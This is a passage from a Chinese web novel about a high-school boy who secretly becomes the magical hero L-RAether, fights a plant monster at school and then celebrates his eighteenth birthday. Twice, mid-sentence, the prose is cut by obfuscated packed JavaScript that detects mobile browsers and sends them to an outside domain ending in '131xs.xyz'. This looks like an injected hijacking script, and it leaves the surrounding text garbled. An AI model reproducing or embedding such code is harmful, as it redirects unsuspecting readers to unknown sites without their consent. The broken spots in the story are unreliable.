这种行为并没有让温朗生气,后者听话地连“呸”三下,顺便把“被抛下”的坏情绪也一起吐掉。 而再抬头的时候,刚刚那个刻薄的人已经消失,他依旧还是那个温文尔雅的学神。 “你们两个怎么还没回家?现在天黑得早,女生还是要注意安全。” 两个女生还没有来得及回话,罗乐安率先回过头,顶着两只荷包蛋一样的泪眼就贴了上来。 “她们是专门来给我送生日礼物的~嘤嘤嘤……知道我生日当天喜欢宅着不见客,她们就提前给我送来了,真的是太令人感动了!我爱你萌~~~” 说着,他将两只手举了起来,给温朗展示自己刚刚收到的还新鲜热乎的礼物。 “看!这个是穗穗送我的游戏卡带,已经绝版了,咸鱼上已经炒到将近一千块了——我就知道!从傍上穗穗富婆的那一刻开始,我就知道一定会有这么一天的!” 他说完这番有些“惊世骇俗”的话后,稍微平复了一下情绪,然后温柔地举起左手,介绍起另外一个礼物。 “然后是这个——当当当当~凛酱送我的漫画,《遗失神殿的牧星者》,一整套!我过年的时候就想买来着,就是价格有点劝退,现在好了,再也不用纠结了~呜呜呜,果然凛酱就是靠谱!我好感动啊~~~” 温朗:“……” 信息量不大一时之间他有些脑袋短路,不知应该作何反应。 倒是两个女生见怪不怪,接情绪接得颇为娴熟。 任穗:“也不用这么嗲,多少有点恶心了——反正明年春天我十八岁生日的时候,你也要送我礼物的,不准敷衍哦!” 常映月:“不用谢。眼泪擦擦,脸别吹坏了。” 说到这儿,温朗也活过来了,听到她的话,连忙掏出纸巾给罗乐安擦脸。 “哎呀呀,没关系的。我一个男生,不用这么讲究的……唔唔……” “你别躲,”温朗左手捧着罗乐安的脸,顺势封印住这颗乱晃的脑袋,“该讲究的地方还是要讲究,这么可爱的脸,要真是被风吹坏了,多可惜啊。” “唔……” 听到这话,罗乐安终于消停了,瞪着大眼睛有些得意。 “穗穗诶~你听到了吗?我这张脸是被帅哥肯定过的脸诶~” 任穗捧脸,见此情景一言不发,只是一味在心里心疼温朗。 这跟媚眼抛给瞎子看有什么区别? 话说回来,某个人神经能粗成这样,该说不说也是一种天赋啊,就是她很想采访一下被该天赋绝杀的当事人,此刻的心理弹幕到底是什么。 不过看样子对方的心情倒是并不算糟糕,脸上的笑容依旧,不见失望,顶多是宠溺里掺杂了点无奈,还是那种已经习惯了的无奈。 温朗确实没感觉有多失望,毕竟心里对这个结果早有预期。 而且罗乐安一直懵懵懂懂的,倒也不见得是坏事,如果真有一天对方突然开窍了,自己估计反倒会东想西想。 给人擦完了脸,温朗松开了对方的毛脑袋,转头看向在栏杆后面看戏看得津津有味的任穗和常映月。 “谢谢你们特意过来给乐乐送礼物,快回去吧,天越来越冷了,天气预报说可能会下雪,别到时候还在外面,打车都不好打。” “没关系~” 任穗手把着栏杆,笑嘻嘻地晃悠着身子,“我家车就在旁边停着,待会儿我负责送小月回家,放心放心~” 透过栏杆看到停在不远处的那辆大奔后,罗乐安努努鼻子。 正要高喊“和你们这群有钱人拼了”,变故却在此时突发。 距离他们不远的教学楼里,突然传来了尖叫声,还有老韩头非常具有穿透力的“别慌!”“小心脚下!”的大喊,将罗乐安几人的对话打断。 “怎、怎么了?” 任穗还有点懵懵的,歪头看向教学楼的方向。 可罗乐安已经反应过来了。 口袋里的挂坠烫得要命。 谵蘖又出现了。 47. BUCHU⑤ 罗乐安不清楚这次的谵蘖是什么,更不清楚它到底在哪里——楼里楼外,楼上楼下,这些信息他一概不知。 可尽管如此,他在得知谵蘖再次出现,并又一次引发骚动时,还是毫不犹豫地冲了上去。 只是他的突然跑开,让栏杆外的任穗和常映月懵了。 “乐……他、他……乐乐,怎么了这是?” “教学楼出事了!” 温朗担心罗乐安就这么冲过去会有危险,一心只想追上去,因此只是简短地解释交代了一下后,也跑开了。 这让任穗和常映月更懵了。 但很快,教学楼内传来的更大的动静,让她们两个意识到,那里应该是出了大问题。 “教学楼出事了?”任穗的声音有点抖,“到底出什么事儿了啊!” 常映月表情也有些无措,“不知道,可是我爸在里面,还有你……” 任穗听到这里,先是脑袋空白了一瞬,紧接着瞳孔放大,惊恐地大喊了一声:“爷爷!爷爷在里面!” 一边喊,一边拔腿朝着校门跑去,而常映月也很快追上,两个女生在门卫的大喊中,径直闯了进来。 罗乐安跑得飞快。 一是担心楼内的情况,二是他想在脱离温朗的视线范围后,就马上变身。 可惜天不遂人愿。 教学楼门口已经有了一些跑出来的家长,惊魂未定地在那里游荡徘徊,极大阻碍了他的“深入腹地”行动。 除此之外,他跑得快不假,奈何温朗也快,而且人家腿还长,还没等他拨开人往里闯,对方就已经到了自己身后。 “乐乐!你冷静一点!情况还没弄清楚,你现在就往里冲,有用吗?” 棉袄的帽子被温朗情急之下一把薅住,成功扼住了罗乐安的喉咙,也扼住了他前进的脚步。 “我、我担心胡女士,还有许阿姨!” 这话算是半真半假,担心温朗的母亲是真,担心胡女士……倒也不能说假,只是他知道自己母亲的身份,作为一个魔法少女,这种情况自保肯定是没问题。 但他其实心还是一直揪着的,特别是口袋里的丧丧越来越烫,他的心也就跟着越来越慌。 好在转机伴随危险,一起到来了。 二楼某间教室的窗户突然碎裂,无数枝条裹挟着玻璃碎片和渣子从光秃秃的窗框里冲了出来。 这让在外面观望、并没有太多危机感的人们纷纷害怕尖叫,原本还分散的人群,霎时因为想要寻求安全感而聚拢在了一起,加上教学楼里又跑出了不少家长,场面一下子就变得混乱了起来。 好机会! 在被人群夹击的瞬间,罗乐安猛地扭了一下,挣脱温朗的束缚,然后顺势涌入人群。 只是就在他想要进楼的时候,他停住了动作。 因为他在出楼的这拨人里,看到了自己的母亲,胡之桃女士。 而对方显然也看到了他。 并且眼神凶狠地盯着他,示意他乖乖去外面宽阔的地方避难,别去里面凑热闹。 胡女士是罗乐安的命门。 这里的“命门”是双关语,一是表达母亲的重要性,二是因为胡女士太擅长掐他的命门了。 总而言之,罗乐安是打心底畏惧胡女士的,这是他十几年来生活经验的总结,本能地知道哪些要求可以耍赖,哪些要求必须执行。 关键是,他还不能让对方怀疑自己的马甲,不然还不知道会发生什么惨烈的后果。 于是,他乖乖顺着人潮往回走。 可!是! 如果他真的就这么回去,那谁来负责解决谵蘖呢? 就算要胡女士出手解决——但她面临的问题和自己一样,就是根本没有一个安全空间可以变身。 就在这时,楼里的谵蘖又出现了暴动,更多的枝条从窗框里挤了出来,同时空气中出现了浓烈的迷迭香和薄荷的香气。 罗乐安心觉不妙,特别是在感觉这种明明提神的气味却让他出现困顿后,他就更加确定了,这次的谵蘖很可能跟之前的茉莉一个路子。 之前集体跳海好歹还有个时间缓冲,这次要是集体跳楼…… 苍!天!!啊!!! 要不,还是进楼吧,就说担心任穗的爷爷年纪大,大不了之后就被骂一顿,反正只要他不认,胡女士也没有证据证明自己就是L-RAether。 而他刚要转身,一个声音突然在他脑海里响起。 「新功能『3D打印』已经就绪,是否要现在使用?」 是丧丧! 它复活了?! 还竟然主动开口了! 是不准备走“丧系牛马”风了吗? 罗乐安又惊又喜,刚要一口答应,突然想起自己之前被坑的经历,头脑瞬间就冷静了,准备先在心里问清楚。 「你先介绍一下那个『3D打印』的功能到底是什么,简短一点,长话短说。」 他的语气比较急,显得冲冲的,不过丧丧也没有什么生气的反应,语气依旧很人机,平缓无起伏。 「启用后,会凭空生成一个你的形象,和你平时的状态无异,并且还能让你的身体暂时隐形,这样可以帮助你避开人群,完成变身。」 这么好用? 这么贴心? 这么刚巧? 丧丧的解释,让罗乐安心里的怀疑更重了。 「说重点,后遗症,或者直接说代价是什么?」 「没有后遗症,也没有代价。」 「……」 听到这话,罗乐安更不安了。 只是当下,他并没有多少时间去犹豫,更没有其他选择。 只能接受。 「用!立刻马上用!」 心里的念头刚闪过,罗乐安就感觉自己好像是被谁往后推了一下,然后在下一秒,他发觉到周围的空气出现了明显的凝滞感,而后又很快消失。 与此同时,自己原先站的位置,出现了一个和他长得一模一样的人,因为不满而微微鼓起的腮帮子也很贴近他的状态。 糊弄亲妈可能不保准,但是瞒过自己的竹马,应该没什么大问题。 想到这儿,见胡女士的神色没什么异样,罗乐安不再犹豫,径直冲进楼里。 温朗原本以为自己这次又要和罗乐安走散,懊恼的眼神中夹杂着一丝阴鸷,后槽牙更是死死咬住。 但就在他准备冲进楼里的时候,一眼在人群中扫到两根醒目的呆毛,晦暗的眼神瞬间恢复了光亮。 他挤了过去,在抓住对方的微凉的左手后,心里提着的那口气终于安心地吐了出来。 幸好,自己没再把他弄丢。 “刚刚你怎么突然冲出去了?吓了我一跳,还好没出事。” 吸取了上一次的教训,温朗紧紧扣住罗乐安的肩膀,将人牢牢地护在怀里。 怀里的人倒是没怎么有紧张感,仰起脸冲他笑。 “我就是看到胡女士出来了,所以有些激动。你放心啦,我不会再乱跑了,不信你可以一直牵着我~” 整个人很乖巧。 只是在听到他的话后,温朗脸上安心的笑容,却一点一点敛了起来。 感觉不太对。 太乖巧了。 虽然罗乐安这个人倒也不是没这么乖过,可那都是在他犯错心虚的时候。 以往要是见到这种场面,对方就算不嫌自己啰嗦,肯定也不会表现得这么淡定,一点都不兴奋。 太奇怪了。 可是面前的人,从长相,到手感,的确就是罗乐安无误。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455850|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还是说,刚刚在人群里,发生了什么自己不知道的事吗? 罗乐安并不知道自己的“替身”成功瞒过了胡女士的眼睛,却没糊弄过温朗这个人精。 他这个时候已经变身成了L-RAether,并且找到了谵蘖出现的地点。 刚好是在他自己班级隔壁的15班,一株没见过的植物扎根在前门那里。 一侧的枝条从走廊窗户冲到楼外,而另一侧的枝条,则是从前门贯入教室,又从后门钻了出来。 第一次在这么狭小的环境中遭遇谵蘖,就算是对面体型还算正常,他仍然觉得要比之前恐怖得多。 就是更有压迫感。 不过这个时候的罗乐安就算不是身经百战,也是经验丰富。 在这个环境下他的确有些紧张,却并不慌乱,先朝着谵蘖射了一发冰冻箭,接着踩着枝条窜进教室,巡视一圈,确定这里没人,也没什么明显的血迹后,终于长舒一口气。 至少没人伤亡,算是不幸中的万幸。 但是还没等他庆幸多久,就感觉刚刚因为低温而暂时封印的香气,又变得明显了起来。 与此同时,窗外传来的惊呼声也印证了自己之前的担心。 “别开窗啊!” “这可是三楼,注意安全!” “小心——你们!你们别探头——别翻!” …… 靠! 言出法随这种技能用在这里就是妥妥的乌鸦嘴啊喂! 当即也顾不上思考什么对策不对策,他举起剑就朝着离自己最近的一根枝条砍去。 枝条应击而碎。 听着窗外庆幸的感慨,看着眼前弥漫的红雾,明明成功解决了一次危机,罗乐安的表情却显得有些手足无措。 是这次的谵蘖太弱,还是他变强了? 这个疑问在心里一闪而过,只是他并没有继续深入地思考,因为脚边原本冰冻着的枝条突然发出震颤,明显是要挣破冰封的征兆。 他毫不犹豫地提剑一刺,又一根枝条碎裂。 这一击后,罗乐安没有停下动作,而是直接冲出教室,对着走廊上的谵蘖就又补了一发冰冻箭,然后继续提剑砍砍砍。 解冻就补箭,冻上就继续砍,全程就像武打明星拍打戏一样,动作干脆利落,没有一丝一毫的浪费。 而在这个过程中,他也确认了一件事,那就是自己真的变强了。 力气变得更大,身体也比以往更灵活敏捷,跳跃的高度也更高,和角度也更加刁钻。 同时元素箭的威力也更大了,冻结的时间和深度都有加强。 因此整个战斗如砍瓜切菜般,十来分钟就成功搞断了谵蘖所有张出去的枝条,只留下了光秃秃的主干。 一发冰冻箭,将所有蓄势待发的芽点全都冻住,罗乐安一个甩手,再次流畅地换上剑。 然而在举剑准备攻击的时候,他突然像是被按下了暂停键一般,停下了动作。 倒不是打到一半“没电”了,只是因为这一次,他终于想到谵蘖“残血暴走”的设定了。 与其一记平A过后还要再大战一场,不如直接趁它病要它命,直接将血条清空来的保险。 想到这里,他右手再次一甩,换回了弓箭。 但是这一次,是火焰箭。 其实罗乐安也不确定“冰与火之歌”的作战方案到底可不可行,可就算没用,效果也和刺一剑平A没多大区别,不亏。 不过应该没问题。 因为经过前几次温朗的指点,他已经深知物理学在战斗中的意义,所以这次他很自信。 后跳一步。 拉弓。 瞄准。 然后,在右手松开按钮,箭矢发射出去的瞬间,罗乐安的脸色突然变得惨白。 48. BUCHU⑥ 常言道,不怕学渣放弃摆烂,就怕学渣主动思考。 因为你很难判断,他的思考方向到底是朝向哪里。 朝着正确的方向的话,一切都好说,就算是偏离一点方向,至少也还有补救的余地。 怕就怕彻底南辕北辙,冲劲儿还猛。 而罗乐安,刚刚就做了一个非常标准的错误示范。 他之前想到用冰与火的温差来对付谵蘖,其实灵感来自小时候的一个科学小实验,就是燃烧棉线,然后浸冷水,利用热胀冷缩原理来切割玻璃瓶。 只是他等到箭都射出去了,才反应过来自己的顺序搞错了。 先热再冷,可以有爆裂的效果。 但是先冷再热,这和一夜回春有什么区别啊! 事实证明,没区别。 火球打过去,冰壳融化,因为水分和温度条件都很适宜,导致一瞬间,之前断掉的枝条就全部长回来了。 好家伙! 真的是一箭干回解放前。 穿梭在枝条间躲避的罗乐安,此刻非常想痛打自己一顿。 感觉他就是“少壮不努力,老大徒伤悲”的写实版本。 不过后悔也没用了,一箭把谵蘖冻住,他准备重新来过。 踏踏实实,不再搞什么灵光一现、灵机一动。 结果,还没等他行动,丧丧的坑货属性在这个时候爆出来了。 「友情提醒,距离『3D打印』功能结束,还有五分钟。」 “……” 罗乐安都已经没什么骂人的欲望了。 他早该料到的。 如果丧丧哪天真的靠谱了,他才会惊到原地起跳。 只是虽然他没发火,却不代表自己对这个提醒无动于衷。 重复之前的流程这条路已经行不通了,只能想新辙。 为了不引发二次危机,他肯定不能先上火焰箭。 引水用闪电箭……唔,感觉损失一样大,而且这里空间不比漫展那次,稍有不慎就可能把自己也波及到。 所以,大概率要靠蛮力硬刚了。 可就算他再努力,力气的上限就在那儿,除非搞一头大象砸过去。 等等…… 大象? 低头看了眼自己右手上的手柄,罗乐安眼珠一转,有了主意。 既然之前他能把剑的力量挪给盾,那反过来应该也可以,搞个威力巨大的,一剑刺过去直接把谵蘖捅个大窟窿最好了。 想到这里,他重燃斗志,闭上眼睛,回想之前那次的感觉,调动左手柄的力量,通过自己的身体集中到自己的右手柄上。 瞬间,原本那柄有些秀气的剑,变成了一把长约两米宽约两尺的重剑,剑身周围还缠绕着银蓝色的光芒,像星辰一样闪动着,如银河一样璀璨。 但是罗乐安现在没什么心思欣赏。 有些人,光是举着剑不让其掉到地上,就已经用尽全力了。 ber! 为什么事情的发展总是不能按自己的计划来呢? 这剑和盾的质量怎么不守恒啊! 罗乐安骂骂咧咧,而就在他犹豫要不要撤回一步,另做打算的时候,丧丧的倒计时又更新了。 「再次提醒,距离『3D打印』功能结束,还有三分钟。」 “……” 撤什么撤啊,直接上吧! 他一咬牙一跺脚,调动起浑身上下所有肌肉,连牙龈都要爆青筋了,终于将重剑双手举过头顶。 此刻,他的心里只有一个想法。 Deadline,果然是第一战力。 幸好,潜力这东西,多挖挖总会有的。 这不,一开始他站都站不稳,结果现在不仅能将剑高举,甚至还能跳起来给攻击助力。 虽然跳不了多高,不过也没多大关系,反正室内层高本来也没多高。 总之,这一次的攻击过程很顺利,而结果,也终于按照他的计划上演。 一击上去,谵蘖新长出的枝条瞬间全部碎裂,与此同时,缠绕在重剑上的如同星辰一般的光芒骤然飞出,环绕谵蘖一周后没入其中。 再之后,坚持着没有碎裂的主干,以肉眼可见的速度枯萎,而他胸前的手柄胸针,也终于发出了可以净化的指示蓝光。 他快速完成了净化,没有浪费一分一秒的时间,确定谵蘖消失后,连惯例在脑袋里响起的声音都没管,捡起种子马上离开,准备解除变身后从后方挤到温朗身边。 反正穿着校服,不熟悉的家长们应该注意不到两张一模一样的脸。 只是在进到教室,准备从窗户离开的时候,罗乐安听到了丧丧播报倒计时还剩下2分钟,当即改了主意。 尽管时间有点紧,但是现在真的是个纠正“手柄侠”这个错误称谓的好机会。 还是不想错过! 于是他调转了方向,踏上了走廊的窗户,从楼外那群人的头顶跳过,一路跳到正对楼门的旗杆上。 “大家不要慌——” 他双手摆出喇叭形状,帮自己扩音。 “怪物已经被我‘L-RAether’消灭了!已经安全啦——” 听到他的声音,楼前的人群恐慌稍缓,骚动也渐歇,所有人都仰起头,专注地看向旗杆上的那个……怪里怪气的人。 包括胡之桃和温朗。 罗乐安对此很满意,但是他也知道时间有限,没工夫让他慢慢欣赏,便也不再耽误,立马开始了自己的表演。 “Thegameneverends!手柄启动,开挂无误~” 因为激动,声音多少有点破音,但是不影响他亮相动作完成的潇洒度。 就是观众不够配合,拉弓射箭的定点Pose摆完之后,下面没有任何反应。 冷场了。 啧。 表演者心里窝火,可还是要坚持表演的完整性。 所以还是咬牙说完最后的台词。 “不用害怕,L-RAether会永远保护你们的,下次再见~” 说罢,他掐着最后30秒的时间,从旗杆一跃而下,落到教学楼侧边的逃生楼梯上,接着又一跳,消失在楼后。 像是被定格了一般的人群,在L-RAether消失后也瞬间解冻,几乎所有人都朝着他离开的方向跑去,场面一度又有些失控。 而这种混乱,正是罗乐安想要的。 温朗也被突然涌来的人群撞了一下,牵着“罗乐安”的手一下子被撞开,两个人也瞬间被冲开。 这让他胸口一窒,慌张地四处寻找罗乐安的身影。 找了一圈都没找到,他感觉胸口的闷窒感更强了,就在这时,余光向右瞥到了两根存在感极强的呆毛,然后紧接着,左肩膀传来了两下拍击。 他毫不犹豫地转过身,一把将身后作怪的人揽入怀中。 “唔……知道是我,就轻一点啊,我的鼻子……” 罗乐安瓮声瓮气的声音从温朗胸前传出,他等了半天,也没见对方有松手的意思,连忙伸手给了对方后背两记空心拳。 “行惹行惹,俩男生搂搂抱抱的多奇怪呀,松手松手!” 听到熟悉的抱怨,温朗终于将人放开,心里的石头落了一半。 胡之桃也在这个时候穿过人群挤了过来,而在看到亲爱的母亲大人后,罗乐安一瞬间有些紧张,但很快就冷静下来。 不能慌,不能怂。 平常心,放轻松。 先套套话再说。 “胡女士,你刚刚有看到吗?那个魔法使!L-RAether!这么多次我终于亲眼看到了诶~好酷哦~特别是他最后那个台词,还有动作!简直偶像!!!” 他的这段话,虽然极力压抑住了一紧张就容易出现的小结巴,可不管是音高,还是话的密集度都和平常的他不一样,只要有心就能听出来。 不过温朗刚经历了一个寡言到有些不对劲的罗乐安,因此对他此刻的状态,他只是松了口气,心里悬着的的石头,也因为对方完全恢复活力而彻底放下。 至于胡女士,在面无表情听完自己亲儿子的“哇啦哇啦”后,没有理他,而是先冲着空气说了句话。 “事情就是这样,我等下会详细汇报,先挂了。” 然后,她淡定地将耳机从耳朵上取下。 “你刚刚没乱跑吧?” 这次,话是对着罗乐安说的。 只是语气着实太冷,让对方马上就要脱口而出的那句“怎么可以不听我说话” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468058|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的抱怨,彻底噎在了嗓子眼里。 “我我我……没乱跑啊,我——超乖的!” 罗乐安说着,侧过身一把搂住了温朗的胳膊。 “是吧,阿朗?” “对,”温朗点点头,“乐乐一直跟我在一起,没有乱跑,也没有受伤。” 听他这么说,胡女士眯起眼睛盯着罗乐安,看了足足半分钟才转开视线。 而后者也在观察被解除后,暗暗松了口气,惊觉自己竟然在寒冬时节出了一后背的冷汗。 这就是他伟大的母亲大人。 恐怖如斯! 好在胡女士是真的忙,这就要退场了。 “等下你跟着小朗他们家先去餐厅,我有点事要办,顺便给你带生日蛋糕回来。” 叮嘱完后,她又将目光转向温朗,轻叹了一口气。 “麻烦你看好他,注意安全。” “好的,阿姨放心吧。” 胡之桃离开后,罗乐安终于能明晃晃地松口气。 “唉……真倒霉,夸奖也没捞着,胡女士还吓唬人。” “……” 温朗没有回话,只是抬头看向教学楼。 经过这么一折腾,大概率又要停课。 要是在一年前,他肯定不会有多头疼,只是现在还有半年多的时间就要高考了,而罗乐安的成绩和劲头才刚有起色,如果又要居家上网课,这家伙大概率又会变回懒散模式。 那自己想要跟对方去一个城市上大学的愿望,也一定会落空的。 一想到这里,他就发愁。 不过罗乐安并没有注意到自己竹马的愁绪,因为任穗和常映月带着家长过来了,他在忙着社交。 “穗穗!凛酱!你们两个还好吗?任爷爷和常叔叔有没有受伤呀?” “放心,我和小月没事,爷爷和常叔叔也都没事,就是他们有点没缓过来,休息一下就没事了。” “嗯。” “没事就好。”罗乐安拍了拍胸脯。 “到底发生什么了啊?怎么突然就出现怪物了呢?” “不知道,大概率没人看到吧。不过我听我爷爷说,事发前那个崔大神和他爸,好像被老韩头叫到教室外面训话呢,然后姓崔的还不服气,嚷嚷什么‘是真的’‘很灵验’这些话,也不知道跟这个有没有关。” “唔?” 罗乐安歪歪脑袋,试图思考这两者之间的关联,任穗那边却已经转了话题。 “对了,乐乐!” “嗯?” “你有没有看到手柄侠……” “哎呀,人家不都说了自己叫‘L-RAether’吗?会特意介绍自己,应该也是对‘手柄侠’这个称呼不是很满意吧!” “额……” 任穗看着拽着自己手腕,一本正经的罗乐安,表情有点发懵。 “好嘛,你也不用反应这么大啊。” 经她提醒,罗乐安也担心自己的反应惹人生疑,清了清嗓子,把话题又拽了回来。 “咳,那什么,你刚刚想说什么?” “啊!是,就是那个啊,最后的Pose,你有看到吗?” “当然看到了!超帅的对不对!” “没错没错!真的是太有魔法少女的架势了~” 听到他们说起L-RAether最后那几个动作,温朗似乎也想起了什么,加入了讨论。 “对了,乐乐,关于那个动作,今天中午你……” “啊——” 温朗的话还没说完,就被罗乐安的尖叫声打断了。 后者当然是故意的,因为心虚,又一时想不出糊弄的答案,只能先嚎一嗓子。 只是嚎完之后,他的确想起了一件事,脸色也跟着瞬间变得煞白。 “怎么了?” 瞧见他脸色不好,温朗也顾不上刚刚的话题,“哪里不舒服了吗?” “我、我我……” 罗乐安一把推开挡在自己身前的温朗,大步朝着校门跑去。 速度之快,一眨眼的工夫就只能看到一个大概巴掌大小的身影。 当然,留给三个人的不止背影,还有一句弥散在空气中的惊呼。 “我的生日礼物!!!” 49. BUCHU⑦ 罗乐安飞奔到东门的时候,他刚到手还没捂热乎的游戏卡和漫画书,还稳当当地待在原地,既没有丢失,也没有损坏。 除了因为刚刚这附近没什么人经过之外,更重要的,是遇到了热心群众帮忙看护。 “桑叔?” 他瞪圆眼睛看着栏杆后面的人,吃惊地问道:“您怎么在这儿?” “你们学校附近那个体育馆今天有举办活动,我中午的时候过来送货,那边活动快结束了,本来是要回去的,不过经过这里的时候看到地上有东西,所以就过来看看。” “啊……”罗乐安张大嘴巴,“这么巧的啊……” “还有更巧的。”桑榆竹眯起笑眼。 “我看到东西包装上有张打开的贺卡,上面写着‘祝乐乐生日快乐’,我想起你之前跟我说过,你就在湖灵高中念书,就猜这会不会是你的东西,所以我才会在这里等东西的主人啊,不然直接送到你们学校传达室就好了。还好不算白等,东西真的是你的——话说刚刚是怎么了?我听到好大动静,但是什么都没看到。” “啊……没什么,就高三了嘛,有些家长,情绪激动了点。” 罗乐安假笑着打着哈哈搪塞,而后又将话题转回。 “话说桑叔,刚刚那话的意思,是说你在特意等我吗?” 桑榆竹张了张嘴,只是还没等他回答,另一个声音就从罗乐安后方先一步传来,打断了二人的交谈。 “乐乐!你没事吧?东西有……” 温朗从教学楼的方向跑来,先是一把拽过罗乐安,确认人没事后,才发现栏杆另一侧的桑榆竹。 “桑先生?你怎么会在这里?” 听到他声音激动到有些破音,罗乐安安抚地拍拍对方的肩膀。 “哎呀,你别这么紧张~” 说罢,他越过眼前人的肩膀向后望去,就见任穗和常映月也正在往这边走,身旁除了任爷爷和常叔叔,还有温朗的母亲许女士。 确认家长们也都没有受伤,罗乐安满意地露出笑容,收回视线,对着温朗解释道:“桑叔刚好经过,还帮我看东西嘞~对了……” 他转过身,面向栏杆外的人。 “桑叔你等我是有什么事吗?” “这就是第三巧合的事了。” 桑榆竹的眯眯眼弧度加大,同时从背后拿出一个小礼品袋,从栏杆空隙递给罗乐安。 “我看到贺卡知道这是生日礼物,就想着如果真的是你过生日,那得给你准备礼物啊——刚好,我从活动那里领导一份小礼物,尽管是借花献佛,但是我觉得做工很精美,希望你会喜欢。” “哇~” 罗乐安裂开嘴角,迫不及待打开袋子,“桑叔你人真好,还费心给我准备礼我……袜——是帕恰狗!!!” 将礼物从袋子中拿出来后,他发出了惊喜的尖叫声。 “是帕恰狗玩偶,毛绒绒的,阿朗你快看!” 他将玩偶举高,兴奋给温朗展示,“是垂耳帕恰诶~手感超级好!不过这个造型我倒是没见过,云朵和藤条,是哪个新IP吗?” “你喜欢就好。那就祝乐乐生日快乐,前程似锦,我店里还有事,先走了。” “嘿嘿嘿~谢谢桑叔,等我之后有空再去找你玩呀~~~” 挥别桑榆竹,又挥别任穗和常映月,然后遇上了叼着山楂经过的大姐头和果果。 在被两只小动物塞了两颗红果果后,罗乐安抱着一堆礼物,美滋滋地坐上温朗家的车。 18岁的生日很重要,但并不是所有家庭都会大操大办。 温朗就是这样。 因为清晰地知道自己想要的是什么,加上他本身并不是一个那么有仪式感的人,所以他并不太在意这些。 而且他也认为,一个人的心理和生理,并不会因为在一大堆人的围观下一口气吹灭18支蜡烛,就能瞬间进入成熟期,过生日的欲望就更淡了。 不过也不是一丁点欲望都没有。 上个月生日那天,某个人生病没能到场,这大概会成为他一辈子的遗憾吧。 和成熟稳重的温朗正相反,罗乐安属于那种隔壁小区经常一起玩的小狗的生日都能记住的人,对自己的生日当然也很看重。 但看重归看重,每到这个日子,他却都会一改喜欢(凑)热闹的性格,只跟家人待在一起——胡女士和温朗一家。 具体原因,其实连他本人都无法解释得特别清楚。 自他懂事以来,就一直是跟着胡女士生活的,而“父亲”这个角色在他记忆里的痕迹实在是太少,太模糊,一直都更像是个符号一样的存在。 这也导致尽管他天天惹亲妈生气,本质却还是个黏妈妈的人,自然是不肯在生日这天留胡女士一个人在家,而自己跑去外面狂欢。 唔,虽然胡女士本人,好像并不怎么在乎,甚至总是主动往外跑。 总之,在生日前后这两天,他就是喜欢在家窝着。 有很多人不理解他这种做法,觉得他就是抠,不想分享。 好在不介意他这种怪癖的真朋友也还是有的,像是任穗和常映月,虽然高中才认识,高一还不在一个班,却并不影响他和两个女生之间深厚的感情。 深厚到大概除了上厕所这种活动他不方便参与,其他时候三个人总是结伴而行。 咳,扯多了,说回生日。 这次到底是罗乐安18岁的生日,所以尽管还是合家欢,到底还是会有一些不一样的布置。 像是桌上这些,跟往年相比明显上了一个档次的菜色。 还有餐后胡女士端上来的那个蛋糕,超级豪华,是动画里给帕恰狗过生日的场景蛋糕,连原本在空中的烟花都被还原到了“湖水”中,可以说是非常精致了。 分享完蛋糕后,两家人又转战去唱了两个小时KTV,直到将近十一点,才开车回了家。 罗乐安见自己母亲的心情似乎不算坏——至少比在学校分开时要好很多——便在洗漱完毕后,凑到正在护肤的胡女士身边,厚着脸皮蹭面膜。 胡女士根本不想理他,今天已经熬得够晚的了,现在她只想快点上床睡美容觉。 当然,这还不是最主要的原因,关键是她不想把自己二百来块钱一片的面膜,浪费在面前这张饱满紧致白里透红吹弹可破的年轻的脸上。 可罗乐安“撒娇精”的称号不是白来的,亲妈只抵抗了三分钟就彻底败下阵来,同意了这个荒谬的请求。 不过到底还没完全丧失理智,给好大儿找了一张二十多块钱一片的基础款,成功理财。 于是,五分钟后,母子二人并排躺在毛茸茸的客厅地毯上,双手交握置于腹部。 怪安详的。 “胡女士。” 由于面膜的封印,罗乐安的嗓门被压制,但话痨属性还在,躺下还没两分钟,他就忍不住开口了。 “嗯?” 胡之桃原本在闭目养神,听到身旁的动静,知道如果自己一直不搭腔,对方就一定会一直烦她,便随口应了一声,表示自己在听。 “我有个问题想问你。” “你问吧。” “那先说好,你不能生气。” “……知道我会生气,你干脆别问了。” “别嘛别嘛~你快答应我,答应我嘛!” “罗乐安,我警告你,大晚上的别犯贱膈应我。” “再有十几分钟,我就要满十八岁了。而就在这样一个特殊的时间,我伟大的母亲——胡之桃女士,却依旧对我疾言厉色、横眉怒目、咄咄逼人、凶神恶……” “停——闭嘴!你问吧。” 胡女士觉得自己再不妥协,今晚做梦都得给钟馗磕一个。 “如果,我是说如果啊,”见目的达成,罗乐安也马上停止了自己的演讲,进入正题,“今天那个L-RAether没有出现,你会想办法变身,解决那个怪物吗?” 听到这个问题,胡女士沉默了大概有一分钟,而后才叹了口气,轻声开口。 “会解决的。” 说完,她停顿了大概三秒,又补充了一句:“但不一定是我。” “诶——???” 罗乐安听到这话,惊讶地猛一转头,脸上的面膜都差点滑落下来。 他伸手想要干脆全都扒拉下来,却挨了来自一旁的亲妈狠狠的一杵子,在“你要是敢浪费老娘二十块钱你就算是百岁寿星你也死定了!”的怒吼声中,慌里慌张地把悬空的半边面膜,皱皱巴巴地重新盖在脸上。 然后继续刚刚又惊又气又不解的情绪。 “什么叫‘但不一定是你’?是要让你的‘同事’来解决的意思吗?可是你就在现场啊!你来解决不是最 